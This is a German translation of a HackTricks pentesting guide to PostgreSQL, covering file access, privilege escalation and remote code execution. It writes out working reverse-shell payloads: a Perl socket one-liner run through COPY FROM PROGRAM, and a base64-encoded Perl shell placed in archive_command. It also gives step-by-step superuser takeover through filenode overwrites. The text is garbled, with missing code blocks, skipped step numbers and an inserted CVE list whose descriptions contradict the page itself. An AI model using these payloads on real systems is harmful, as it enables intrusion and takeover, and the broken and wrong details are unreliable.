Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
**PostgreSQL** wird als **objekt-relationales Datenbanksystem** beschrieben, das **Open Source** ist. Dieses System verwendet nicht nur die SQL-Sprache, sondern erweitert sie auch um zusätzliche Funktionen. Seine Fähigkeiten ermöglichen es, eine Vielzahl von Datentypen und Operationen zu verarbeiten, was es zu einer vielseitigen Wahl für Entwickler und Organisationen macht.
**Standardport:** 5432, und wenn dieser Port bereits verwendet wird, scheint PostgreSQL den nächsten verfügbaren Port zu verwenden (wahrscheinlich 5433).
Verwenden Sie den Befehl `\l` in `psql`, um eine Liste der verfügbaren Datenbanken anzuzeigen. Verwenden Sie `\c <Datenbankname>`, um zur gewünschten Datenbank zu wechseln. Verwenden Sie `\dt`, um eine Liste der Tabellen in der aktuellen Datenbank anzuzeigen.
Wenn Sie **`\list`** ausführen und eine Datenbank namens **`rdsadmin`** finden, wissen Sie, dass Sie sich in einer **AWS PostgreSQL-Datenbank** befinden.
Gemäß [**dieser Forschung**](https://www.exploit-db.com/papers/13084) wirft `dblink` eine `sqlclient_unable_to_establish_sqlconnection` Ausnahme mit einer Erklärung des Fehlers, wenn ein Verbindungsversuch fehlschlägt. Beispiele für diese Details sind unten aufgeführt.
`DETAIL: konnte keine Verbindung zum Server herstellen: Keine Route zum Host Gibt es den Server auf dem Host "1.2.3.4" und akzeptiert er TCP/IP-Verbindungen auf Port 5678?`
PostgreSQL-Server-Versionen können mit dem Befehl `psql` oder durch Netzwerksniffing ermittelt werden.
```bash
psql -h <Ziel-IP> -U <Benutzername>
```
#### PostgreSQL-Standardanmeldeinformationen
Standardmäßige Anmeldeinformationen für PostgreSQL sind:
- Benutzername: `postgres`
- Passwort: `postgres`
#### PostgreSQL-Schwachstellen
Einige bekannte Schwachstellen in PostgreSQL sind:
- **CVE-2019-9193**: Authentifizierungsbypass
- **CVE-2019-10164**: Pufferüberlauf
- **CVE-2019-9198**: Nicht autorisierte Rechteausweitung
#### PostgreSQL-Exploits
Exploits für PostgreSQL-Schwachstellen können in Exploit-Datenbanken wie Exploit-DB gefunden werden. Es ist wichtig, nur autorisierte Tests durchzuführen.
In PL/pgSQL-Funktionen ist es derzeit nicht möglich, Ausnahmedetails zu erhalten. Wenn Sie jedoch direkten Zugriff auf den PostgreSQL-Server haben, können Sie die erforderlichen Informationen abrufen. Wenn das Extrahieren von Benutzernamen und Passwörtern aus den Systemtabellen nicht möglich ist, können Sie in Betracht ziehen, die im vorherigen Abschnitt diskutierte Methode des Wortlistenangriffs zu nutzen, da dies möglicherweise positive Ergebnisse liefert.
| rolcanlogin | Rolle kann sich anmelden. Das bedeutet, dass dieser Rolle die anfängliche Sitzungsberechtigungs-ID zugewiesen werden kann |
| rolreplication | Rolle ist eine Replikationsrolle. Eine Replikationsrolle kann Replikationsverbindungen initiieren und Replikationsslots erstellen und löschen. |
| rolconnlimit | Legt für Rollen, die sich anmelden können, die maximale Anzahl gleichzeitiger Verbindungen fest, die diese Rolle herstellen kann. -1 bedeutet keine Begrenzung. |
| rolvaliduntil | Ablaufzeit des Passworts (nur für die Passwortauthentifizierung verwendet); null, wenn kein Ablaufdatum vorhanden ist |
| rolbypassrls | Rolle umgeht jede Richtlinie zur Zeilensicherheit, siehe [Abschnitt 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) für weitere Informationen. |
| rolconfig | Rollenspezifische Standardeinstellungen für Laufzeitkonfigurationsvariablen |
Beachten Sie, dass in Postgres ein **Benutzer**, eine **Gruppe** und eine **Rolle** dasselbe sind. Es hängt nur davon ab, **wie Sie es verwenden** und ob Sie es zum **Anmelden zulassen**.
Ab diesem [**Commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) können Mitglieder der definierten Gruppe **`DEFAULT_ROLE_READ_SERVER_FILES`** (genannt **`pg_read_server_files`**) und **Superbenutzer** die Methode **`COPY`** auf jedem Pfad verwenden (siehe `convert_and_check_filename` in `genfile.c`):
Denken Sie daran, dass Sie, wenn Sie kein Superbenutzer sind, aber die **CREATEROLE**-Berechtigungen haben, sich **Mitglied dieser Gruppe machen können:**
Es gibt **andere PostgreSQL-Funktionen**, die verwendet werden können, um eine Datei zu lesen oder ein Verzeichnis aufzulisten. Nur **Superuser** und **Benutzer mit expliziten Berechtigungen** können sie verwenden:
Du findest **weitere Funktionen** unter [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
Denken Sie daran, dass Sie, wenn Sie kein Superbenutzer sind, aber über die **`CREATEROLE`**-Berechtigungen verfügen, sich **als Mitglied dieser Gruppe hinzufügen können:**
Denken Sie daran, dass COPY keine Zeilenumbrüche verarbeiten kann, daher müssen Sie selbst bei Verwendung eines Base64-Payloads **eine Einzeiler senden**.\
Eine sehr wichtige Einschränkung dieser Technik ist, dass **`copy` nicht zum Schreiben binärer Dateien verwendet werden kann, da es einige binäre Werte ändert**.
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns bei unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie noch heute, Prämien von bis zu **100.000 $** zu verdienen!
### Aktualisieren von PostgreSQL-Tabellendaten über lokales Schreiben von Dateien
Wenn Sie die erforderlichen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien haben, können Sie jede Tabelle auf dem Server aktualisieren, indem Sie die zugehörige Dateiknoten im [PostgreSQL-Datenverzeichnis](https://www.postgresql.org/docs/8.1/storage.html) überschreiben.
Mehr zu dieser Technik [hier](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Erforderliche Schritte:
1. PostgreSQL-Datenverzeichnis abrufen
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Hinweis:** Wenn Sie den aktuellen Datenverzeichnispfad nicht aus den Einstellungen abrufen können, können Sie die Haupt-PostgreSQL-Version über die Abfrage `SELECT version()` abfragen und versuchen, den Pfad zu erzwingen. Häufige Datenverzeichnispfade bei Unix-Installationen von PostgreSQL sind `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ein häufiger Clustername ist `main`.
2. Einen relativen Pfad zum Dateiknoten abrufen, der mit der Ziel-Tabelle verknüpft ist
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
Diese Abfrage sollte etwas wie `base/3/1337` zurückgeben. Der vollständige Pfad auf der Festplatte lautet `$DATA_DIRECTORY/base/3/1337`, d.h. `/var/lib/postgresql/13/main/base/3/1337`.
3. Den Dateiknoten über die `lo_*`-Funktionen herunterladen
4. Den Datentyp abrufen, der mit der Ziel-Tabelle verknüpft ist
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. Verwenden Sie den [PostgreSQL-Filenode-Editor](https://github.com/adeadfed/postgresql-filenode-editor), um [den Dateiknoten zu bearbeiten](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); setzen Sie alle `rol*`-Booleschen Flags auf 1 für volle Berechtigungen.
9. Sie sollten nun aktualisierte Tabellenwerte in der PostgreSQL sehen.
Sie können auch Superadmin werden, indem Sie die `pg_authid`-Tabelle bearbeiten. **Siehe [den folgenden Abschnitt](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**.
Seit [Version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) können nur **Superbenutzer** und Mitglieder der Gruppe **`pg_execute_server_program`** COPY für RCE verwenden (Beispiel mit Exfiltration:
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Denken Sie daran, dass Sie, wenn Sie kein Superbenutzer sind, aber über die **`CREATEROLE`**-Berechtigungen verfügen, **sich selbst zu diesem Gruppe hinzufügen können:**
Oder verwenden Sie das Modul `multi/postgres/postgres_copy_from_program_cmd_exec` von **metasploit**.\
Weitere Informationen zu dieser Schwachstelle finden Sie [**hier**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Obwohl sie als CVE-2019-9193 gemeldet wurde, erklärte Postges, dass dies ein [Feature ist und nicht behoben wird](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Nachdem Sie aus dem vorherigen Beitrag **gelernt haben, wie man Binärdateien hochlädt**, könnten Sie versuchen, **RCE zu erlangen, indem Sie eine PostgreSQL-Erweiterung hochladen und laden**.
Die folgenden RCE-Vektoren sind besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch verschachtelte SELECT-Anweisungen ausgeführt werden können.
Die **Konfigurationsdatei** von PostgreSQL ist vom **postgres-Benutzer beschreibbar**, der die Datenbank ausführt, sodass Sie als **Superuser** Dateien im Dateisystem schreiben können und daher diese Datei **überschreiben können**.
-`ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pfad zum privaten Schlüssel der Datenbank
-`ssl_passphrase_command = ''` Wenn die private Datei durch ein Passwort geschützt ist (verschlüsselt), wird PostgreSQL den in diesem Attribut angegebenen Befehl **ausführen**.
-`ssl_passphrase_command_supports_reload = off`**Wenn** dieses Attribut **aktiviert** ist, wird der **Befehl** ausgeführt, wenn der Schlüssel durch ein Passwort geschützt ist, wenn `pg_reload_conf()`**ausgeführt** wird.
Beim Testen habe ich festgestellt, dass dies nur funktioniert, wenn die **private Schlüsseldatei die Berechtigungen 640 hat**, sie **root gehört** und von der **Gruppe ssl-cert oder postgres** (damit der postgres-Benutzer sie lesen kann) und sich in _/var/lib/postgresql/12/main_ befindet.
**Weitere** [**Informationen zu dieser Konfiguration und zu WAL finden Sie hier**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Damit dies funktioniert, muss die Einstellung `archive_mode` auf `'on'` oder `'always'` gesetzt sein. Wenn dies zutrifft, könnten wir den Befehl in `archive_command` überschreiben und ihn zwingen, über die WAL (write-ahead logging)-Operationen ausgeführt zu werden.
1. Überprüfen, ob der Archivmodus aktiviert ist: `SELECT current_setting('archive_mode')`
2. Überschreiben Sie `archive_command` mit dem Payload. Zum Beispiel ein Reverse-Shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
4. Zwingen Sie die WAL-Operation, die Archivierung auszuführen, indem Sie den Archivbefehl aufrufen: `SELECT pg_switch_wal()` oder `SELECT pg_switch_xlog()` für einige Postgres-Versionen
#### **RCE mit Preload-Bibliotheken**
Weitere Informationen zu dieser Technik finden Sie [hier](https://adeadfed.com/posts/postgresql-select-only-rce/).
Dieser Angriffsvektor nutzt die folgenden Konfigurationsvariablen aus:
-`session_preload_libraries` -- Bibliotheken, die vom PostgreSQL-Server bei der Clientverbindung geladen werden.
-`dynamic_library_path` -- Liste der Verzeichnisse, in denen der PostgreSQL-Server nach den Bibliotheken suchen wird.
Wir können den Wert von `dynamic_library_path` auf ein Verzeichnis setzen, das vom `postgres`-Benutzer, der die Datenbank ausführt, beschreibbar ist, z. B. das `/tmp/`-Verzeichnis, und dort ein bösartiges `.so`-Objekt hochladen. Als Nächstes zwingen wir den PostgreSQL-Server, unsere neu hochgeladene Bibliothek zu laden, indem wir sie in der Variablen `session_preload_libraries` einschließen.
Die Angriffsschritte sind:
1. Die originale `postgresql.conf` herunterladen
2. Das `/tmp/`-Verzeichnis im Wert von `dynamic_library_path` einschließen, z. B. `dynamic_library_path = '/tmp:$libdir'`
3. Den bösartigen Bibliotheksnamen im Wert von `session_preload_libraries` einschließen, z. B. `session_preload_libraries = 'payload.so'`
4. Die Haupt-PostgreSQL-Version über die Abfrage `SELECT version()` überprüfen
5. Kompilieren Sie den bösartigen Bibliothekscode mit dem richtigen PostgreSQL-Entwicklungspaket
Gemäß den [**Dokumenten**](https://www.postgresql.org/docs/13/sql-grant.html): _Rollen mit dem **`CREATEROLE`**-Privileg können **Mitgliedschaft in einer Rolle gewähren oder widerrufen**, die **kein** **Superuser** ist._
Daher könnten Sie sich mit der **`CREATEROLE`**-Berechtigung Zugriff auf andere **Rollen** (die keine Superuser sind) gewähren, was Ihnen die Möglichkeit gibt, Dateien zu lesen und zu schreiben sowie Befehle auszuführen:
Es ist ziemlich üblich festzustellen, dass **lokale Benutzer sich bei PostgreSQL anmelden können, ohne ein Passwort anzugeben**. Daher können Sie, sobald Sie **Berechtigungen zum Ausführen von Code gesammelt haben**, diese Berechtigungen missbrauchen, um sich die **`SUPERUSER`**-Rolle zu verschaffen:
In [**diesem Bericht**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) wird erklärt, wie es möglich war, eine **Berechtigungserhöhung** in Postgres GCP durch den Missbrauch des ALTER TABLE-Privilegs, das dem Benutzer gewährt wurde, durchzuführen.
Wenn Sie versuchen, **einen anderen Benutzer zum Besitzer einer Tabelle zu machen**, sollten Sie einen **Fehler** erhalten, der dies verhindert, aber anscheinend gab GCP diese **Option dem nicht-superuser postgres-Benutzer** in GCP:
Wenn man diese Idee mit der Tatsache verbindet, dass bei der Ausführung von **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)-Befehlen auf einer **Tabelle mit einer Indexfunktion** die **Funktion** als Teil des Befehls mit den **Berechtigungen des Tabellenbesitzers** aufgerufen wird. Es ist möglich, einen Index mit einer Funktion zu erstellen und einem **Superbenutzer** die Besitzerberechtigungen für diese Tabelle zu geben, und dann ANALYZE über die Tabelle mit der bösartigen Funktion auszuführen, die Befehle ausführen kann, weil sie die Berechtigungen des Besitzers verwendet.
3. Entwickeln Sie eine bösartige Indexfunktion, die einen Codeausführungspayload enthält, der die Ausführung nicht autorisierter Befehle ermöglicht.
4. Ändern Sie den Besitzer der Tabelle in "cloudsqladmin", der die Superuser-Rolle von GCP ist, die ausschließlich von Cloud SQL verwendet wird, um die Datenbank zu verwalten und zu pflegen.
5. Führen Sie eine ANALYZE-Operation auf der Tabelle durch. Diese Aktion zwingt den PostgreSQL-Motor, in den Benutzerkontext des Tabellenbesitzers "cloudsqladmin" zu wechseln. Folglich wird die bösartige Indexfunktion mit den Berechtigungen von "cloudsqladmin" aufgerufen, wodurch die Ausführung des zuvor nicht autorisierten Shell-Befehls ermöglicht wird.
Einige fehlerhaft konfigurierte PostgreSQL-Instanzen ermöglichen möglicherweise das Anmelden eines beliebigen lokalen Benutzers. Es ist möglich, sich lokal von 127.0.0.1 aus mit der **`dblink`-Funktion** anzumelden:
Wenn Sie das Passwort eines Benutzers mit höheren Berechtigungen haben, der jedoch nicht berechtigt ist, sich von einer externen IP-Adresse aus anzumelden, können Sie die folgende Funktion verwenden, um Abfragen als dieser Benutzer auszuführen:
[**In diesem Bericht**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) konnten Pentester in einer von IBM bereitgestellten Postgres-Instanz eine Privilege-Eskalation durchführen, weil sie **diese Funktion mit dem SECURITY DEFINER-Flag gefunden haben**:
Wie in den [**Dokumenten erläutert**](https://www.postgresql.org/docs/current/sql-createfunction.html), wird eine Funktion mit **SECURITY DEFINER** mit den Berechtigungen des **Benutzers ausgeführt, dem sie gehört**. Daher kann sie missbraucht werden, um **Berechtigungen innerhalb von Postgres zu eskalieren**, wenn die Funktion **anfällig für SQL-Injektionen ist** oder privilegierte Aktionen mit vom Angreifer kontrollierten Parametern ausführt.
**PL/pgSQL** ist eine **voll ausgestattete Programmiersprache**, die im Vergleich zu SQL eine größere prozedurale Steuerung bietet. Sie ermöglicht die Verwendung von **Schleifen** und anderen **Steuerungsstrukturen**, um die Programmlogik zu verbessern. Darüber hinaus können **SQL-Anweisungen** und **Trigger** Funktionen aufrufen, die mit der **PL/pgSQL-Sprache** erstellt wurden. Diese Integration ermöglicht einen umfassenderen und vielseitigeren Ansatz für die Datenbankprogrammierung und Automatisierung.\
**Sie können diese Sprache missbrauchen, um PostgreSQL aufzufordern, die Anmeldeinformationen der Benutzer per Brute-Force zu ermitteln.**
### Privilege Escalation durch Überschreiben interner PostgreSQL-Tabellen
{% hint style="info" %}
Der folgende Privilege-Escalation-Vektor ist besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch verschachtelte SELECT-Anweisungen ausgeführt werden können.
{% endhint %}
Wenn Sie **PostgreSQL-Serverdateien lesen und schreiben können**, können Sie **zum Superuser werden**, indem Sie den PostgreSQL-On-Disk-Filennode überschreiben, der mit der internen `pg_authid`-Tabelle verknüpft ist.
Erfahren Sie mehr über diese Technik [hier](https://adeadfed.com/posts/updating-postgresql-data-without-update/).
Die Angriffsschritte sind:
1. PostgreSQL-Datenverzeichnis erhalten
2. Einen relativen Pfad zum Filennode erhalten, der mit der `pg_authid`-Tabelle verknüpft ist
3. Den Filennode über die `lo_*`-Funktionen herunterladen
4. Den Datentyp erhalten, der mit der `pg_authid`-Tabelle verknüpft ist
5. Verwenden Sie den [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor), um den Filennode zu [bearbeiten](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); setzen Sie alle `rol*`-Booleschen Flags auf 1 für volle Berechtigungen.
7. Laden Sie den bearbeiteten Filennode über die `lo_*`-Funktionen erneut hoch und überschreiben Sie die Originaldatei auf der Festplatte
8.*(Optional)* Löschen Sie den im Speicher befindlichen Tabellencache, indem Sie eine teure SQL-Abfrage ausführen
9. Sie sollten nun die Berechtigungen eines vollständigen Superadmins haben.
Sie können sie mithilfe der _**decrypt**_ Funktion im Skript entschlüsseln: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
Die Client-Authentifizierung in PostgreSQL wird über eine Konfigurationsdatei namens **pg_hba.conf** verwaltet. Diese Datei enthält eine Reihe von Einträgen, die jeweils einen Verbindungstyp, einen Client-IP-Adressbereich (falls zutreffend), den Datenbanknamen, den Benutzernamen und die Authentifizierungsmethode zur Übereinstimmung mit Verbindungen angeben. Der erste Eintrag, der den Verbindungstyp, die Client-Adresse, die angeforderte Datenbank und den Benutzernamen übereinstimmt, wird für die Authentifizierung verwendet. Es gibt kein Zurückfallen oder Backup, wenn die Authentifizierung fehlschlägt. Wenn kein Eintrag übereinstimmt, wird der Zugriff verweigert.
Die verfügbaren passwortbasierten Authentifizierungsmethoden in der pg_hba.conf sind **md5**, **crypt** und **password**. Diese Methoden unterscheiden sich darin, wie das Passwort übertragen wird: MD5-gehasht, crypt-verschlüsselt oder im Klartext. Es ist wichtig zu beachten, dass die crypt-Methode nicht mit Passwörtern verwendet werden kann, die in pg_authid verschlüsselt wurden.